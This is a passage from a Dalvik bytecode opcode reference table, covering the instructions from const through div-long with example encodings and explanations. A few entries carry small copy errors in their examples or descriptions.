Puts the literal constant of 10 into v0.  
  
14  
| const vx, lit32  
| Puts the integer constant into vx  
| 1400 4E61 BC00 - const v0, \#12345678 // \#00BC614E  
Moves literal 12345678 into v0.  
  
15  
| const/high16 v0, lit16  
| Puts the 16 bit constant into the topmost bits of the register. Used to
initialize float values.  
| 1500 2041 - const/high16 v0, \#float 10.0 // \#41200000  
Moves the floating literal of 10.0 into v0. The 16 bit literal in the
instruction carries the top 16 bits of the floating point number.  
  
16  
| const-wide/16 vx, lit16  
| Puts the integer constant into vx and vx+1 registers, expanding the integer
constant into a long constant..  
| 1600 0A00 - const-wide/16 v0, \#long 10  
Moves literal 10 into v0 and v1 registers.  
  
17  
| const-wide/32 vx, lit32  
| Puts the 32 bit constant into vx and vx+1 registers, expanding the integer
constant into a long constant.  
| 1702 4e61 bc00 - const-wide/32 v2, \#long 12345678 // \#00bc614e  
Puts \#12345678 into v2 and v3 registers.  
  
18  
| const-wide vx, lit64  
| Puts the 64 bit constant into vx and vx+1 registers.  
| 1802 874b 6b5d 54dc 2b00- const-wide v2, \#long 12345678901234567 //
\#002bdc545d6b4b87  
Puts \#12345678901234567 into v2 and v3 registers.  
  
19  
| const-wide/high16 vx,lit16  
| Puts the 16 bit constant into the highest 16 bit of vx and vx+1 registers.
Used to initialize double values.  
| 1900 2440 - const-wide/high16 v0, \#double 10.0 // \#402400000  
Puts the double constant of 10.0 into v0 register.  
  
1A  
| const-string vx,string\_id  
| Puts reference to a string constant identified by string\_id into vx.  
| 1A08 0000 - const-string v8, "" // string@0000  
Puts reference to string@0000 \(entry \#0 in the string table\) into v8.  
  
1B  
| const-string-jumbo  
|  
|  
  
1C  
| const-class vx,type\_id  
| Moves the class object of a class identified by type\_id \(e.g.
Object.class\) into vx.  
| 1C00 0100 - const-class v0, Test3 // type@0001  
Moves reference to Test3.class \(entry\#1 in the type id table\) into  
  
1D  
| monitor-enter vx  
| Obtains the monitor of the object referenced by vx.  
| 1D03 - monitor-enter v3  
Obtains the monitor of the object referenced by v3.  
  
1E  
| monitor-exit  
| Releases the monitor of the object referenced by vx.  
| 1E03 - monitor-exit v3  
Releases the monitor of the object referenced by v3.  
  
1F  
| check-cast vx, type\_id  
| Checks whether the object reference in vx can be cast to an instance of a
class referenced by type\_id. Throws ClassCastException if the cast is not
possible, continues execution otherwise.  
| 1F04 0100 - check-cast v4, Test3 // type@0001  
Checks whether the object reference in v4 can be cast to type@0001 \(entry \#1
in the type id table\)  
  
20  
| instance-of vx,vy,type\_id  
| Checks whether vy is instance of a class identified by type\_id. Sets vx
non-zero if it is, 0 otherwise.  
| 2040 0100 - instance-of v0, v4, Test3 // type@0001  
Checks whether the object reference in v4 is an instance of type@0001 \(entry
\#1 in the type id table\). Sets v0 to non-zero if v4 is instance of Test3, 0
otherwise.  
  
21  
| array-length vx,vy  
| Calculates the number of elements of the array referenced by vy and puts the
length value into vx.  
| 2111 - array-length v1, v1  
Calculates the number of elements of the array referenced by v1 and puts the
result into v1.  
  
22  
| new-instance vx,type  
| Instantiates an object type and puts the reference of the newly created
instance into vx.  
| 2200 1500 - new-instance v0, java.io.FileInputStream // type@0015  
Instantiates type@0015 \(entry \#15H in the type table\) and puts its
reference into v0.  
  
23  
| new-array vx,vy,type\_id  
| Generates a new array of type\_id type and vy element size and puts the
reference to the array into vx.  
| 2312 2500 - new-array v2, v1, char\[\] // type@0025  
Generates a new array of type@0025 type and v1 size and puts the reference to
the new array into v2.  
  
24  
| filled-new-array \{parameters\},type\_id  
| Generates a new array of type\_id and fills it with the parameters5.
Reference to the newly generated array can be obtained by a move-result-object
instruction, immediately following the filled-new-array instruction.  
| 2420 530D 0000 - filled-new-array \{v0,v0\},\[I // type@0D53  
Generates a new array of type@0D53. The array's size will be 2 and both
elements will be filled with the contents of v0 register.  
  
25  
| filled-new-array-range \{vx..vy\},type\_id  
| Generates a new array of type\_id and fills it with a range of parameters.
Reference to the newly generated array can be obtained by a move-result-object
instruction, immediately following the filled-new-array instruction.| 2503
0600 1300 - filled-new-array/range \{v19..v21\}, \[B // type@0006  
Generates a new array of type@0D53. The array's size will be 3 and the
elements will be filled using the v19,v20 and v21 registers4.  
  
26  
| fill-array-data vx,array\_data\_offset  
| Fills the array referenced by vx with the static data. The location of the
static data is the sum of the position of the current instruction and the
offset  
| 2606 2500 0000 - fill-array-data v6, 00e6 // +0025  
Fills the array referenced by v0 with the static data at current
instruction+25H words location. The offset is expressed as a 32-bit number.
The static data is stored in the following format:  
0003 // Table type: static array data  
0400 // Byte per array element \(in this case, 4 byte integers\)  
0300 0000 // Number of elements in the table  
0100 0000 // Element \#0: integer 1  
0200 0000 // Element \#1: integer 2  
0300 0000 // Element \#2: integer3  
  
27  
| throw vx  
| Throws an exception object. The reference of the exception object is in vx.  
| 2700 - throw v0  
Throws an exception. The exception object reference is in v0.  
  
28  
| goto target  
| Unconditional jump by short offset2.  
| 28F0 - goto 0005 // -0010  
Jumps to current position-16 words \(hex 10\). 0005 is the label of the target
instruction.  
  
29  
| goto/16 target  
| Unconditional jump by 16 bit offset2.  
| 2900 0FFE - goto/16 002f // -01f1  
Jumps to the current position-1F1H words. 002F is the label of the target
instruction.  
  
2A  
| goto/32 target  
|  
|  
  
2B  
| packed-switch vx,table  
| Implements a switch statement where the case constants are close to each
other. The instruction uses an index table. vx indexes into this table to find
the offset of the instruction for a particular case. If vx falls out of the
index table, the execution continues on the next instruction \(default case\).  
| 2B02 0C00 0000 - packed-switch v2, 000c // +000c  
Execute a packed switch according to the switch argument in v2. The position
of the index table is at current instruction+0CH words. The table looks like
the following:  
0001 // Table type: packed switch table  
0300 // number of elements  
0000 0000 // element base  
0500 0000 0: 00000005 // case 0: +00000005  
0700 0000 1: 00000007 // case 1: +00000007  
0900 0000 2: 00000009 // case 2: +00000009  
  
2C  
| sparse-switch vx,table  
| Implements a switch statement with sparse case table. The instruction uses a
lookup table with case constants and offsets for each case constant. If there
is no match in the table, execution continues on the next instruction
\(default case\).  
| 2C02 0c00 0000 - sparse-switch v2, 000c // +000c  
Execute a sparse switch according to the switch argument in v2. The position
of the lookup table is at current instruction+0CH words. The table looks like
the following.  
0002 // Table type: sparse switch table  
0300 // number of elements  
9cff ffff // first case: -100  
fa00 0000 // second case constant: 250  
e803 0000 // third case constant: 1000  
0500 0000 // offset for the first case constant: +5  
0700 0000 // offset for the second case constant: +7  
0900 0000 // offset for the third case constant: +9  
  
2D  
| cmpl-float  
| Compares the float values in vy and vz and sets the integer value in vx
accordingly3| 2D00 0607 - cmpl-float v0, v6, v7  
Compares the float values in v6 and v7 then sets v0 accordingly. NaN bias is
less-than, the instruction will return -1 if any of the parameters is NaN.  
2E  
| cmpg-float vx, vy, vz  
| Compares the float values in vy and vz and sets the integer value in vx
accordingly3.| 2E00 0607 - cmpg-float v0, v6, v7  
Compares the float values in v6 and v7 then sets v0 accordingly. NaN bias is
greater-than, the instruction will return 1 if any of the parameters is NaN.  
2F  
| cmpl-double vx,vy,vz  
| Compares the double values in vy and vz2 and sets the integer value in vx
accordingly3.| 2F19 0608 - cmpl-double v25, v6, v8  
Compares the double values in v6,v7 and v8,v9 and sets v25 accordingly. NaN
bias is less-than, the instruction will return -1 if any of the parameters is
NaN.  
30  
| cmpg-double vx, vy, vz  
| Compares the double values in vy and vz2 and sets the integer value in vx
accordingly3.| 3000 080A - cmpg-double v0, v8, v10  
Compares the double values in v8,v9 and v10,v11 then sets v0 accordingly. NaN
bias is greater-than, the instruction will return 1 if any of the parameters
is NaN.  
31  
| cmp-long vx, vy, vz  
| Compares the long values in vy and vz and sets the integer value in vx
accordingly3.  
| 3100 0204 - cmp-long v0, v2, v4  
Compares the long values in v2 and v4 then sets v0 accordingly.  
  
32  
| if-eq vx,vy,target  
| Jumps to target if vx==vy2. vx and vy are integer values.  
| 32b3 6600 - if-eq v3, v11, 0080 // +0066  
Jumps to the current position+66H words if v3==v11. 0080 is the label of the
target instruction.  
  
33  
| if-ne vx,vy,target  
| Jumps to target if vx\!=vy2. vx and vy are integer values.| 33A3 1000 - if-
ne v3, v10, 002c // +0010  
Jumps to the current position+10H words if v3\!=v10. 002c is the label of the
target instruction.  
  
34  
| if-lt vx,vy,target  
| Jumps to target is vx<vy2. vx and vy are integer values.  
| 3432 CBFF - if-lt v2, v3, 0023 // -0035  
Jumps to the current position-35H words if v2<v3. 0023 is the label of the
target instruction.  
  
35  
| if-ge vx, vy,target  
| Jumps to target if vx>=vy2. vx and vy are integer values.  
| 3510 1B00 - if-ge v0, v1, 002b // +001b  
Jumps to the current position+1BH words if v0>=v1. 002b is the label of the
target instruction.  
  
36  
| if-gt vx,vy,target  
| Jumps to target if vx>vy2. vx and vy are integer values.| 3610 1B00 - if-ge
v0, v1, 002b // +001b  
Jumps to the current position+1BH words if v0>v1. 002b is the label of the
target instruction.  
37  
| if-le vx,vy,target  
| Jumps to target if vx<=vy2. vx and vy are integer values.| 3756 0B00 - if-le
v6, v5, 0144 // +000b  
Jumps to the current position+0BH words if v6<=v5. 0144 is the label of the
target instruction.  
  
38  
| if-eqz vx,target  
| Jumps to target if vx==02. vx is an integer value.  
| 3802 1900 - if-eqz v2, 0038 // +0019  
Jumps to the current position+19H words if v2==0. 0038 is the label of the
target instruction.  
  
39  
| if-nez vx,target  
| Checks vx and jumps if vx is nonzero2.  
| 3902 1200 - if-nez v2, 0014 // +0012  
Jumps to current position+18 words \(hex 12\) if v2 is nonzero. 0014 is the
label of the target instruction.  
  
3A  
| if-ltz vx,target  
| Checks vx and jumps if vx<02.| 3A00 1600 - if-ltz v0, 002d // +0016  
Jumps to the current position+16H words if v0<0\. 002d is the label of the
target instruction.  
3B  
| if-gez vx,target  
| Checks vx and jumps if vx>=02.  
| 3B00 1600 - if-gez v0, 002d // +0016  
Jumps to the current position+16H words if v0 >=0. 002d is the label of the
target instruction.  
  
3C  
| if-gtz vx,target  
| Checks vx and jumps if vx>02.| 3C00 1D00 - if-gtz v0, 004a // +001d  
Jumps to the current position+1DH words if v0>0\. 004A is the label of the
target instruction.  
3D  
| if-lez vx,target  
| Checks vx and jumps if vx<=02.| 3D00 1D00 - if-lez v0, 004a // +001d  
Jumps to the current position+1DH words if v0<=0. 004A is the label of the
target instruction.  
  
3E  
| unused\_3E  
|  
|  
  
3F  
| unused\_3F  
|  
|  
  
40  
| unused\_40  
|  
|  
  
41  
| unused\_41  
|  
|  
  
42  
| unused\_42  
|  
|  
  
43  
| unused\_43  
|  
|  
  
44  
| aget vx,vy,vz  
| Gets an integer value of an object reference array into vx. The array is
referenced by vy and is indexed by vz.| 4407 0306 - aget v7, v3, v6  
Gets an integer array element. The array is referenced by v3 and the element
is indexed by v6. The element will be put into v7.  
  
45  
| aget-wide vx,vy,vz  
| Gets a long/double value of long/double array into vx,vx+1. The array is
referenced by vy and is indexed by vz.| 4505 0104 - aget-wide v5, v1, v4  
Gets a long/double array element. The array is referenced by v1 and the
element is indexed by v4. The element will be put into v5,v6.  
  
46  
| aget-object vx,vy,vz  
| Gets an object reference value of an object reference array into vx. The
array is referenced by vy and is indexed by vz.  
| 4602 0200 - aget-object v2, v2, v0  
Gets an object reference array element. The array is referenced by v2 and the
element is indexed by v0. The element will be put into v2.  
  
47  
| aget-boolean vx,vy,vz  
| Gets a boolean value of a boolean array into vx. The array is referenced by
vy and is indexed by vz.| 4700 0001 - aget-boolean v0, v0, v1  
Gets a boolean array element. The array is referenced by v0 and the element is
indexed by v1. The element will be put into v0.  
48  
| aget-byte vx,vy,vz  
| Gets a byte value of a byte array into vx. The array is referenced by vy and
is indexed by vz.| 4800 0001 - aget-byte v0, v0, v1  
Gets a byte array element. The array is referenced by v0 and the element is
indexed by v1. The element will be put into v0.  
  
49  
| aget-char vx, vy,vz  
| Gets a char value of a character array into vx. The element is indexed by
vz, the array object is referenced by vy| 4905 0003 - aget-char v5, v0, v3  
Gets a character array element. The array is referenced by v0 and the element
is indexed by v3. The element will be put into v5.  
  
4A  
| aget-short vx,vy,vz  
| Gets a short value of a short array into vx. The element is indexed by vz,
the array object is referenced by vy.| 4A00 0001 - aget-short v0, v0, v1  
Gets a short array element. The array is referenced by v0 and the element is
indexed by v1. The element will be put into v0.  
  
4B  
| aput vx,vy,vz  
| Puts the integer value in vx into an element of an integer array. The
element is indexed by vz, the array object is referenced by vy.| 4B00 0305 -
aput v0, v3, v5  
Puts the integer value in v2 into an integer array referenced by v0. The
target array element is indexed by v1.  
  
4C  
| aput-wide vx,vy,vz  
| Puts the double/long value in vx,vx+1 into a double/long array. The array is
referenced by vy, the element is indexed by vz.  
| 4C05 0104 - aput-wide v5, v1, v4  
Puts the double/long value in v5,v6 into a double/long array referenced by v1.
The target array element is indexed by v4.  
  
4D  
| aput-object vx,vy,vz  
| Puts the object reference value in vx into an element of an object reference
array. The element is indexed by vz, the array object is referenced by vy.|
4D02 0100 - aput-object v2, v1, v0  
Puts the object reference value in v2 into an object reference array
referenced by v0. The target array element is indexed by v1.  
  
4E  
| aput-boolean vx,vy,vz  
| Puts the boolean value in vx into an element of a boolean array. The element
is indexed by vz, the array object is referenced by vy.| 4E01 0002 - aput-
boolean v1, v0, v2  
Puts the boolean value in v1 into an object reference array referenced by v0.
The target array element is indexed by v2.  
  
4F  
| aput-byte vx,vy,vz  
| Puts the byte value in vx into an element of a byte array. The element is
indexed by vz, the array object is referenced by vy.| 4F02 0001 - aput-byte
v2, v0, v1  
Puts the boolean value in v2 into a byte array referenced by v0. The target
array element is indexed by v1.  
  
50  
| aput-char vx,vy,vz  
| Puts the char value in vx into an element of a character array. The element
is indexed by vz, the array object is referenced by vy.| 5003 0001 - aput-char
v3, v0, v1  
Puts the character value in v3 into a character array referenced by v0. The
target array element is indexed by v1.  
51  
| aput-short vx,vy,vz  
| Puts the short value in vx into an element of a short array. The element is
indexed by vz, the array object is referenced by vy.| 5102 0001 - aput-short
v2, v0, v1  
Puts the short value in v2 into a character array referenced by v0. The target
array element is indexed by v1.  
  
52  
| iget vx, vy, field\_id  
| Reads an instance field into vx. The instance is referenced by vy.  
| 5210 0300 - iget v0, v1, Test2.i6:I // field@0003  
Reads field@0003 into v0 \(entry \#3 in the field id table\). The instance is
referenced by v1.  
  
53  
| iget-wide vx,vy,field\_id  
| Reads an instance field into vx1. The instance is referenced by vy.  
| 5320 0400 - iget-wide v0, v2, Test2.l0:J // field@0004  
Reads field@0004 into v0 and v1 registers \(entry \#4 in the field id table\).
The instance is referenced by v2.  
  
54  
| iget-object vx,vy,field\_id  
| Reads an object reference instance field into vx. The instance is referenced
by vy.  
| iget-object v1, v2, LineReader.fis:Ljava/io/FileInputStream; // field@0002  
Reads field@0002 into v1 \(entry \#2 in the field id table\). The instance is
referenced by v2.  
  
55  
| iget-boolean vx,vy,field\_id  
| Reads a boolean instance field into vx. The instance is referenced by vy.  
| 55FC 0000 - iget-boolean v12, v15, Test2.b0:Z // field@0000  
Reads the boolean field@0000 into v12 register \(entry \#0 in the field id
table\). The instance is referenced by v15.  
  
56  
| iget-byte vx,vy,field\_id  
| Reads a byte instance field into vx. The instance is referenced by vy.| 5632
0100 - iget-byte v2, v3, Test3.bi1:B // field@0001  
Reads the char field@0001 into v2 register \(entry \#1 in the field id
table\). The instance is referenced by v3.  
  
57  
| iget-char vx,vy,field\_id  
| Reads a char instance field into vx. The instance is referenced by vy.| 5720
0300 - iget-char v0, v2, Test3.ci1:C // field@0003  
Reads the char field@0003 into v0 register \(entry \#3 in the field id
table\). The instance is referenced by v2.  
  
58  
| iget-short vx,vy,field\_id  
| Reads a short instance field into vx. The instance is referenced by vy.|
5830 0800 - iget-short v0, v3, Test3.si1:S // field@0008  
Reads the short field@0008 into v0 register \(entry \#8 in the field id
table\). The instance is referenced by v3.  
  
59  
| iput vx,vy, field\_id  
| Puts vx into an instance field. The instance is referenced by vy.  
| 5920 0200 - iput v0,v2, Test2.i6:I // field@0002  
Stores v0 into field@0002 \(entry \#2 in the field id table\). The instance is
referenced by v2.  
  
5A  
| iput-wide vx,vy, field\_id  
| Puts the wide value located in vx and vx+1 registers into an instance field.
The instance is referenced by vy.  
| 5A20 0000 - iput-wide v0,v2, Test2.d0:D // field@0000  
Stores the wide value in v0, v1 registers into field@0000 \(entry \#0 in the
field id table\). The instance is referenced by v2.  
  
5B  
| iput-object vx,vy,field\_id  
| Puts the object reference in vx into an instance field. The instance is
referenced by vy.  
| 5B20 0000 - iput-object v0, v2, LineReader.bis:Ljava/io/BufferedInputStream;
// field@0000  
Stores the object reference in v0 into field@0000 \(entry \#0 in the field
table\). The instance is referenced by v2.  
  
5C  
| iput-boolean vx,vy, field\_id  
| Puts the boolean value located in vx into an instance field. The instance is
referenced by vy.  
| 5C30 0000 - iput-boolean v0, v3, Test2.b0:Z // field@0000  
Puts the boolean value in v0 into field@0000 \(entry \#0 in the field id
table\). The instance is referenced by v3.  
  
5D  
| iput-byte vx,vy,field\_id  
| Puts the byte value located in vx into an instance field. The instance is
referenced by vy.| 5D20 0100 - iput-byte v0, v2, Test3.bi1:B // field@0001  
Puts the boolean value in v0 into field@0001 \(entry \#1 in the field id
table\). The instance is referenced by v2.  
  
5E  
| iput-char vx,vy,field\_id  
| Puts the char value located in vx into an instance field. The instance is
referenced by vy.| 5E20 0300 - iput-char v0, v2, Test3.ci1:C // field@0003  
Puts the char value in v0 into field@0003 \(entry \#3 in the field id table\).
The instance is referenced by v2.  
  
5F  
| iput-short vx,vy,field\_id  
| Puts the short value located in vx into an instance field. The instance is
referenced by vy.| 5F21 0800 - iput-short v1, v2, Test3.si1:S // field@0008  
Puts the short value in v1 into field@0008 \(entry \#8 in the field id
table\). The instance is referenced by v2.  
  
60  
| sget vx,field\_id  
| Reads the integer field identified by the field\_id into vx.| 6000 0700 -
sget v0, Test3.is1:I // field@0007  
Reads field@0007 \(entry \#7 in the field id table\) into v0.  
  
61  
| sget-wide vx, field\_id  
| Reads the static field identified by the field\_id into vx and vx+1
registers.  
| 6100 0500 - sget-wide v0, Test2.l1:J // field@0005  
Reads field@0005 \(entry \#5 in the field id table\) into v0 and v1 registers.  
  
62  
| sget-object vx,field\_id  
| Reads the object reference field identified by the field\_id into vx.| 6201
0C00 - sget-object v1, Test3.os1:Ljava/lang/Object; // field@000c  
Reads field@000c \(entry \#CH in the field id table\) into v1.  
  
63  
| sget-boolean vx,field\_id  
| Reads the boolean static field identified by the field\_id into vx.| 6300
0C00 - sget-boolean v0, Test2.sb:Z // field@000c  
Reads boolean field@000c \(entry \#12 in the field id table\) into v0.  
  
64  
| sget-byte vx,field\_id  
| Reads the byte static field identified by the field\_id into vx.| 6400 0200
- sget-byte v0, Test3.bs1:B // field@0002  
Reads byte field@0002 \(entry \#2 in the field id table\) into v0.  
  
65  
| sget-char vx,field\_id  
| Reads the char static field identified by the field\_id into vx.| 6500 0700
- sget-char v0, Test3.cs1:C // field@0007  
Reads byte field@0007 \(entry \#7 in the field id table\) into v0.  
  
66  
| sget-short vx,field\_id  
| Reads the short static field identified by the field\_id into vx.| 6600 0B00
- sget-short v0, Test3.ss1:S // field@000b  
Reads short field@000b \(entry \#BH in the field id table\) into v0.  
  
67  
| sput vx, field\_id  
| Puts vx into a static field.  
| 6700 0100 - sput v0, Test2.i5:I // field@0001  
Stores v0 into field@0001 \(entry \#1 in the field id table\).  
  
68  
| sput-wide vx, field\_id  
| Puts vx and vx+1 into a static field.  
| 6800 0500 - sput-wide v0, Test2.l1:J // field@0005  
Puts the long value in v0 and v1 into the field@0005 static field \(entry \#5
in the field id table\).  
  
69  
| sput-object vx,field\_id  
| Puts object reference in vx into a static field.| 6900 0c00 - sput-object
v0, Test3.os1:Ljava/lang/Object; // field@000c  
Puts the object reference value in v0 into the field@000c static field \(entry
\#CH in the field id table\).  
  
6A  
| sput-boolean vx,field\_id  
| Puts boolean value in vx into a static field.| 6A00 0300 - sput-boolean v0,
Test3.bls1:Z // field@0003  
Puts the byte value in v0 into the field@0003 static field \(entry \#3 in the
field id table\).  
  
6B  
| sput-byte vx,field\_id  
| Puts byte value in vx into a static field.| 6B00 0200 - sput-byte v0,
Test3.bs1:B // field@0002  
Puts the byte value in v0 into the field@0002 static field \(entry \#2 in the
field id table\).  
  
6C  
| sput-char vx,field\_id  
| Puts char value in vx into a static field.| 6C01 0700 - sput-char v1,
Test3.cs1:C // field@0007  
Puts the char value in v1 into the field@0007 static field \(entry \#7 in the
field id table\).  
  
6D  
| sput-short vx,field\_id  
| Puts short value in vx into a static field.| 6D00 0B00 - sput-short v0,
Test3.ss1:S // field@000b  
Puts the short value in v0 into the field@000b static field \(entry \#BH in
the field id table\).  
  
6E  
| invoke-virtual \{ parameters \}, methodtocall  
| Invokes a virtual method with parameters.  
| 6E53 0600 0421 - invoke-virtual \{ v4, v0, v1, v2, v3\},
Test2.method5:\(IIII\)V // method@0006  
Invokes the 6th method in the method table with the following arguments: v4 is
the "this" instance, v0, v1, v2, and v3 are the method parameters. The method
has 5 arguments \(4 MSB bits of the second byte\)5.  
  
6F  
| invoke-super \{parameter\},methodtocall  
| Invokes the virtual method of the immediate parent class.| 6F10 A601 0100
invoke-super \{v1\},java.io.FilterOutputStream.close:\(\)V // method@01a6  
Invokes method@01a6 with one parameter, v1.  
  
70  
| invoke-direct \{ parameters \}, methodtocall  
| Invokes a method with parameters without the virtual method resolution.  
| 7010 0800 0100 - invoke-direct \{v1\}, java.lang.Object.<init>:\(\)V //
method@0008  
Invokes the 8th method in the method table with just one parameter, v1 is the
"this" instance5.  
  
71  
| invoke-static \{parameters\}, methodtocall  
| Invokes a static method with parameters.  
| 7110 3400 0400 - invoke-static \{v4\}, java.lang.Integer.parseInt:\(
Ljava/lang/String;\)I // method@0034  
Invokes method@34 static method. The method is called with one parameter, v45.  
  
72  
| invoke-interface \{parameters\},methodtocall  
| Invokes an interface method.  
| 7240 2102 3154 invoke-interface \{v1, v3, v4, v5\},
mwfw.IReceivingProtocolAdapter.receivePackage:\(  
ILjava/lang/String;Ljava/io/InputStream;\)Z // method@0221  
Invokes method@221 interface method using parameters in v1,v3,v4 and v55.  
  
73  
| unused\_73  
|  
|  
  
74  
| invoke-virtual/range \{vx..vy\},methodtocall  
| Invokes virtual method with a range of registers. The instruction specifies
the first register and the number of registers to be passed to the method.|
7403 0600 1300 - invoke-virtual \{v19..v21\}, Test2.method5:\(IIII\)V //
method@0006  
Invokes the 6th method in the method table with the following arguments: v19
is the "this" instance, v20 and v21 are the method parameters.  
75  
| invoke-super/range  
| Invokes the virtual method of the immediate parent class. The instruction
specifies the first register and the number of registers to be passed to the
method.| 7501 A601 0100 invoke-super
\{v1\},java.io.FilterOutputStream.close:\(\)V // method@01a6  
Invokes method@01a6 with one parameter, v1.  
76  
| invoke-direct/range \{vx..vy\},methodtocall  
| Invokes direct method with a range of registers. The instruction specifies
the first register and the number of registers to be passed to the method.  
| 7603 3A00 1300 - invoke-direct/range
\{v19..21\},java.lang.Object.<init>:\(\)V // method@003a  
Invokes method@3A with 1 parameters \(second byte of the instruction=03\). The
parameter is stored in v19 \(5th,6th bytes of the instruction\).  
  
77  
| invoke-static/range \{vx..vy\},methodtocall  
| Invokes static method with a range of registers. The instruction specifies
the first register and the number of registers to be passed to the method.|
7703 3A00 1300 - invoke-static/range \{v19..21\},java.lang.Integer.parseInt:\(
Ljava/lang/String;\)I // method@0034  
Invokes method@3A with 1 parameters \(second byte of the instruction=03\). The
parameter is stored in v19 \(5th,6th bytes of the instruction\).  
78  
| invoke-interface-range  
| Invokes an interface method with a range of registers. The instruction
specifies the first register and the number of registers to be passed to the
method.| 7840 2102 0100 invoke-interface \{v1..v4\},
mwfw.IReceivingProtocolAdapter.receivePackage:\(  
ILjava/lang/String;Ljava/io/InputStream;\)Z // method@0221  
Invokes method@221 interface method using parameters in v1..v4.  
79  
| unused\_79  
|  
|  
  
7A  
| unused\_7A  
|  
|  
  
7B  
| neg-int vx,vy  
| Calculates vx=-vy.  
| 7B01 - neg-int v1,v0  
Calculates -v0 and stores the result in v1.  
  
7C  
| not-int vx,vy  
|  
|  
  
7D  
| neg-long vx,vy  
| Calculates vx,vx+1=-\(vy,vy+1\)  
| 7D02 - neg-long v2,v0  
Calculates -\(v0,v1\) and stores the result into \(v2,v3\)  
  
7E  
| not-long vx,vy  
|  
|  
  
7F  
| neg-float vx,vy  
| Calculates vx=-vy  
| 7F01 - neg-float v1,v0  
Calculates -v0 and stores the result into v1.  
  
80  
| neg-double vx,vy  
| Calculates vx,vx+1=-\(vy,vy+1\)| 8002 - neg-double v2,v0  
Calculates -\(v0,v1\) and stores the result into \(v2,v3\)  
  
81  
| int-to-long vx, vy  
| Converts the integer in vy into a long in vx,vx+1.  
| 8106 - int-to-long v6, v0  
Converts an integer in v0 into a long in v6,v7.  
  
82  
| int-to-float vx, vy  
| Converts the integer in vx into a float in vx.  
| 8206 - int-to-float v6, v0  
Converts the integer in v0 into a float in v6.  
  
83  
| int-to-double vx, vy  
| Converts the integer in vy into the double in vx,vx+1.  
| 8306 - int-to-double v6, v0  
Converts the integer in v0 into a double in v6,v7  
  
84  
| long-to-int vx,vy  
| Converts the long value in vy,vy+1 into an integer in vx.  
| 8424 - long-to-int v4, v2  
Converts the long value in v2,v3 into an integer value in v4.  
  
85  
| long-to-float vx, vy  
| Converts the long value in vy,vy+1 into a float in vx.  
| 8510 - long-to-float v0, v1  
Convcerts the long value in v1,v2 into a float value in v0.  
  
86  
| long-to-double vx, vy  
| Converts the long value in vy,vy+1 into a double value in vx,vx+1.  
| 8610 - long-to-double v0, v1  
Converts the long value in v1,v2 into a double value in v0,v1.  
  
87  
| float-to-int vx, vy  
| Converts the float value in vy into an integer value in vx.  
| 8730 - float-to-int v0, v3  
Converts the float value in v3 into an integer value in v0.  
  
88  
| float-to-long vx,vy  
| Converts the float value in vy into a long value in vx.  
| 8830 - float-to-long v0, v3  
Converts the float value in v3 into a long value in v0,v1.  
  
89  
| float-to-double vx, vy  
| Converts the float value in vy into a double value in vx,vx+1.  
| 8930 - float-to-double v0, v3  
Converts the float value in v3 into a double value in v0,v1.  
  
8A  
| double-to-int vx, vy  
| Converts the double value in vy,vy+1 into an integer value in vx.  
| 8A40 - double-to-int v0, v4  
Converts the double value in v4,v5 into an integer value in v0.  
  
8B  
| double-to-long vx, vy  
| Converts the double value in vy,vy+1 into a long value in vx,vx+1.  
| 8B40 - double-to-long v0, v4  
Converts the double value in v4,v5 into a long value in v0,v1.  
  
8C  
| double-to-float vx, vy  
| Converts the double value in vy,vy+1 into a float value in vx.  
| 8C40 - double-to-float v0, v4  
Converts the double value in v4,v5 into a float value in v0,v1.  
  
8D  
| int-to-byte vx,vy  
| Converts the int value in vy to a byte value and stores it in vx.  
| 8D00 - int-to-byte v0, v0  
Converts the integer in v0 into a byte and puts the byte value into v0.  
  
8E  
| int-to-char vx,vy  
| Converts the int value in vy to a char value and stores it in vx.  
| 8E33 - int-to-char v3, v3  
Converts the integer in v3 into a char and puts the char value into v3.  
  
8F  
| int-to-short vx,vy  
| Converts the int value in vy to a short value and stores it in vx.| 8F00 -
int-to-short v0, v0  
Converts the integer in v0 into a short and puts the short value into v3.  
  
90  
| add-int vx,vy,vz| Calculates vy+vz and puts the result into vx.| 9000 0203 -
add-int v0, v2, v3  
Adds v3 to v2 and puts the result into v04.  
91  
| sub-int vx,vy,vz  
| Calculates vy-vz and puts the result into vx.  
| 9100 0203 - sub-int v0, v2, v3  
Subtracts v3 from v2 and puts the result into v0.  
  
92  
| mul-int vx, vy, vz  
| Multiplies vz with wy and puts the result int vx.  
| 9200 0203 - mul-int v0,v2,v3  
Multiplies v2 with w3 and puts the result into v0  
  
93  
| div-int vx,vy,vz  
| Divides vy with vz and puts the result into vx.  
| 9303 0001 - div-int v3, v0, v1  
Divides v0 with v1 and puts the result into v3.  
  
94  
| rem-int vx,vy,vz  
| Calculates vy % vz and puts the result into vx.| 9400 0203 - rem-int v0, v2,
v3  
Calculates v3 % v2 and puts the result into v0.  
95  
| and-int vx, vy, vz  
| Calculates vy AND vz and puts the result into vx.  
| 9503 0001 - and-int v3, v0, v1  
Calculates v0 AND v1 and puts the result into v3.  
  
96  
| or-int vx, vy, vz  
| Calculates vy OR vz and puts the result into vx.  
| 9603 0001 - or-int v3, v0, v1  
Calculates v0 OR v1 and puts the result into v3.  
  
97  
| xor-int vx, vy, vz  
| Calculates vy XOR vz and puts the result into vx.| 9703 0001 - xor-int v3,
v0, v1  
Calculates v0 XOR v1 and puts the result into v3.  
  
98  
| shl-int vx, vy, vz  
| Shift vy left by the positions specified by vz and store the result into
vx.| 9802 0001 - shl-int v2, v0, v1  
Shift v0 left by the positions specified by v1 and store the result in v2.  
  
99  
| shr-int vx, vy, vz  
| Shift vy right by the positions specified by vz and store the result into
vx.  
| 9902 0001 - shr-int v2, v0, v1  
Shift v0 right by the positions specified by v1 and store the result in v2.  
  
9A  
| ushr-int vx, vy, vz  
| Unsigned shift right \(>>>\) vy by the positions specified by vz and store
the result into vx.  
| 9A02 0001 - ushr-int v2, v0, v1  
Unsigned shift v0 right by the positions specified by v1 and store the result
in v2.  
  
9B  
| add-long vx, vy, vz  
| Adds vy to vz and puts the result into vx1.  
| 9B00 0305 - add-long v0, v3, v5  
The long value in v3,v4 is added to the value in v5,v6 and the result is
stored in v0,v1.  
  
9C  
| sub-long vx,vy,vz  
| Calculates vy-vz and puts the result into vx1.  
| 9C00 0305 - sub-long v0, v3, v5  
Subtracts the long value in v5,v6 from the long value in v3,v4 and puts the
result into v0,v1.  
  
9D  
| mul-long vx,vy,vz  
| Calculates vy\*vz and puts the result into vx1.| 9D00 0305 - mul-long v0,
v3, v5  
Multiplies the long value in v5,v6 with the long value in v3,v4 and puts the
result into v0,v1.  
9E  
| div-long vx, vy, vz  
